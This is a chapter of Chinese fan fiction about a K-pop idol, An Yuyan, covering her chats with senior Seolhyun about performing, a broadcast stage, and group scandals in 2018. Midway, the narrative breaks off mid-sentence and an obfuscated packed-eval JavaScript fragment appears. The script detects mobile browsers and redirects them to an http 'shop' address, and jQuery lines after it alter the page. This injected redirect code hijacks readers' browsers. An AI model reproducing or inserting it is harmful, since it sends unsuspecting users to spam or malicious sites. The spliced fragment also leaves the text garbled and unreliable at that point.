2018年7月14日。
[我的爱(紫色爱心)]对话框。
上一条消息还停留在——
羽沇:【智珉欧尼那边我拜托过啦,应该很快会有消息~】
再一次打开这个聊天窗口,已经是几天后了。
安羽沇怀着忐忑的心情,向雪炫请教起关于舞台表演的问题。
雪炫:【羽沇啊,你还没成年,所以还没看过19禁吧?】
羽沇:【?!!】
雪炫:【以前公司要我们看成人影片学习眼神演技。珉娥看了以后哭了。】
雪炫:【我不喜欢那样。】
雪炫:【孝利前辈的性感,是不会让人想到19禁的那种。你的眼神也很干净。】
在探讨性感表演的语境下,“眼神干净”是最高的褒奖和最强的定心丸。它意味着——
你本质纯洁,无需伪装。
这是你最大的表演资产,是那些想走极端的人所没有的。
信任这份干净,它能保护你,也能成就你。
雪炫:【不要因为害怕像朴秀彬前辈那样被骂而畏手畏脚,也不用走那个极端。】
Dal★Shabet的朴秀彬。
羽沇:【欧尼怎么还记得啊?】
雪炫:【怎么可能忘掉^ ^就算现在天天喊着本命,某人的idol初心可不是我呀。】
雪炫:【赶紧忘掉秀彬吧。就想着“我是金雪炫”来跳吧。】
羽沇:【这个做不到哎?生活中叫秀彬的亲故太多了^ ^】
……
虽然雪炫自己说了“你就想着‘我是金雪炫’来跳吧”,但安羽沇女主知道,自己不是金雪炫,也不想成为她——
不像像穗珍模仿泫雅那样。
她要想着面前是雪炫来跳,而不是想着自己是雪炫或者第二个雪炫。
一开始,想要当idol,不是为了成为谁,而是想要前往“能被金雪炫看见的地方”啊。
————————
【《U Go Girl》练习花絮】
“我是安羽沇…我是安羽沇……”
VO(画外音):“羽沇啊,一直念自己名字的理由是什么?”
安羽沇:“啊,是从一位前辈那里学到的舞台秘诀。”
VO:“是要相信自己的意思吗?自我暗示?”
安羽沇:“内。‘滴答滴答,一切都成真吧’。”
VO(笑):“到底想要什么成真啊?这不是只在念叨自己的名字吗?”
————————
想要什么成真?
当然是想要做到把闪着红光的摄像头想象成雪炫的脸了。
练习的时候怎么都觉得别扭,做不到,但不知道为什么,正式录制的时候就做得到了。
是因为知道雪炫这次真的能看见吗?
虽然之前也上过基础演技课程。但这种想象力,堪比演员对着绿幕无实物表演吧?
是因为真的成为了idol才能做到吗?
明明在Cube早期考核的时候一直做不到。
不对,是因为金雪炫也一直在进化。
当年那个在清潭洞不安、青涩、会说“我们可能很快也会这样了”的姐姐,已经长成了国民爱豆、广告女王。
安羽沇见过雪炫在镜头前的从容,见过她扛过非议的坚定。
她心里的「金雪炫」,已经是一个完整、强大、可以依靠的存在。
所以,不是她突然变强,是她能交付情感的那个人,先为她长出了可以信任的翅膀。
跳完了的当时,安羽沇就联系了对方。
羽沇:【欧尼……说不定我还挺有演技天赋的。】
正在参加电影拍摄的雪炫回复有点慢。
雪炫:【对演戏有欲心吗?】
羽沇:【暂时没有?还是觉得唱歌跳舞的时候,更能靠近我想要去到的地方。】
那天之后,安羽沇没再打扰雪炫。
七月的燥热变成八月的燥热,练习室的灯光日复一日亮到深夜,《HANN》的舞蹈渐渐刻进肌肉记忆里。
日子就这样安静又匆忙地往前走。
8月11日下午,《U Go Girl》特别舞台正式播出的这天,
她在练习室的休息间隙,和成员们一起在外国的视频网站看完了二次转载。
晚上,结束练习回到宿舍后,安羽沇接到了妈妈的电话。
妈妈则在家里用电视收看了本放。
电话那头传来直白的评价:“裤子太短了。”
就知道会被说这个。
明明服装风格其实已经算健康了。
“我下次会注意的。”
其实所谓的“会注意”,不过是敷衍而已。服装如何。根本不依idol心意而来。
安羽沇轻轻吸了口气,声音放得很轻:“……偶妈,你看舞台的时候,觉得我看上去怎么样?”
“偶妈不知道,这个要你自己感受。”
像谜语一样的回答落在心底,漾开一圈模糊的不安。
安羽沇下意识地想去问郑秀彬。
可这毕竟是个性感舞台,那些记忆里在AOA舞台评论区里见过的污言秽语瞬间浮现在脑海中,让她难以启齿。
于是,安羽沇最终删掉了所有关于《U Go Girl》舞台的字句,只发去一句无关痛痒的关心:
【最近练习很累吧?欧洲巡演准备得顺利吗?】
VICTON: First Europe Tour 2018已官宣。要在莫斯科、伦敦、马德里、米兰、维也纳、埃森、伊斯坦布尔七座城市演出。
安羽沇顺势告诉对方,自己的组合也收到了音乐银行欧洲场的特别舞台邀请,九月会前往柏林表演。
【到时候应该可以去看你们的演唱会。】
许下的承诺在疲惫的日常里慢慢靠近现实,像黑暗中一点微弱却坚定的光。
终于可以实现约定的一半了。
这件事带来的微弱暖意还没持续两天,娱乐圈便再次掀起一阵混乱的风波。
8月13日,BTOB陆星材与DIA成员李主恩的绯闻以一种堪称荒诞的方式发酵。
DIA所属的MBK娱乐先是由基层职员向媒体承认恋爱,短短几分钟后官方又火速全盘否认,到下午更是彻底改口,称两人连亲近的朋友都不是。
公关口径反复横跳,混乱得像是一场闹剧。
安羽沇在心里默默吐槽,这家公司的危机应对实在糟糕透顶。
显而易见的内部权责混乱。基层对接媒体的职员没和高层、艺人本人确认,就擅自认了恋爱,等高层反应过来已经造成了传播,只能紧急改口。
又或许是MBK被之前Cube的连环爆雷吓破了胆,才会自乱阵脚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17412223|200688||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
那时,安羽沇还以为这只是别人家的荒唐事。
完全没有想到,这样狼狈的公关翻车,用不了多久就会原封不动地落在自己头上。
《HANN》回归打歌顺利拿下一位。
田小娟分给安羽沇的part,是只出现了一次的、绝无重复的部分:“Do you remember you remember remember what you said/我什么话都说不出口就那么送你离开”,以及副歌里“要忘记你 woo woo woo”的同度和声。
前者的分配逻辑很抽象:“这段不需要用力的情绪。这种部分羽沇最擅长。”
后者的理由很实际。
在《HANN》的编曲阶段,李旼赫听过demo,随口提了一句:“小娟啊,曲子很抓耳,但人声编排是不是有点……当然你想着把人声当乐器用很好,但乐器也需要合奏啊。雨琦和羽沇的和音不错来着。”
他大概只是随口一提,但这句话无形中为安羽沇多增加了一个声乐定位。
不知道为什么这次的造型师执着于全员几乎一个长度的头发,于是给安羽沇接了假发片。
只有徐穗珍一个人染了红发,其他人都是差不多的颜色。
这安排本身就有点……意味深长。
按理说,刚闹出那么大的风波,按照常规的惩罚或冷处理逻辑,回归资源(比如最显眼的发色、中心站位、Part分量)多少会被克扣一点,以示惩戒,也降低风险。
但徐穗珍完全没有。
不仅没有,反而用最扎眼、最需要定期补染和维护的红色,将她一个人彻底从团队中凸显了出来。
可能Cody也觉得,只有让真的刚分手的这个人彻底突出,才算对得起这首分手曲的概念吧。
其他人能做好的只有自己的事。
最恐怖的并不是安羽沇有点感官过载、觉得假发很不舒服,而是跳舞的时候不熟悉真发、容易糊脸。
大家各有各的难处。
初舞台的时候叶舒华手上的手环勾在一起了。
有一次Minnie的发带掉到地上了。如果穿着细高跟的成员们踩到,很容易被绊到。安羽沇眼疾脚快用平跟鞋把发带踢开了。
所以说,在极繁主义的idol世界生存可真难啊。
安羽沇回忆了一下练习生时期素颜考核的时候。虽然上镜不好看,但舒适啊。
没有对比,就没有伤害。
叶舒华迎来了规模更大的舆论指责。
年纪同为组合较小的,实力却被放在天平两端反复比较,恶意的对比言论铺天盖地。
两个人,或者说所有人都清楚那些争议,只是谁都没有说破。
叶舒华淡淡地说:“我韩语不好,不看网络评价。”
安羽沇却在心里默默想着同一个问题。
差不多时间来到韩国的人,怎么叶舒华和宋雨琦的语言能力会相差如此悬殊?
从词汇量到学习交流的意愿,再到发音与语感,完全是天与地的差别。
宋雨琦当然会主动刷韩网,也当然清楚网络评价。不然她又是怎么知道“八色鸟”这种饭圈常用彩虹屁的呢?
而就在队内氛围悄然紧绷的同时,另一则消息悄悄爬上了论坛——
安羽沇和柳善皓在翰林艺高食堂的偷拍照,被悄无声息地发到了网上。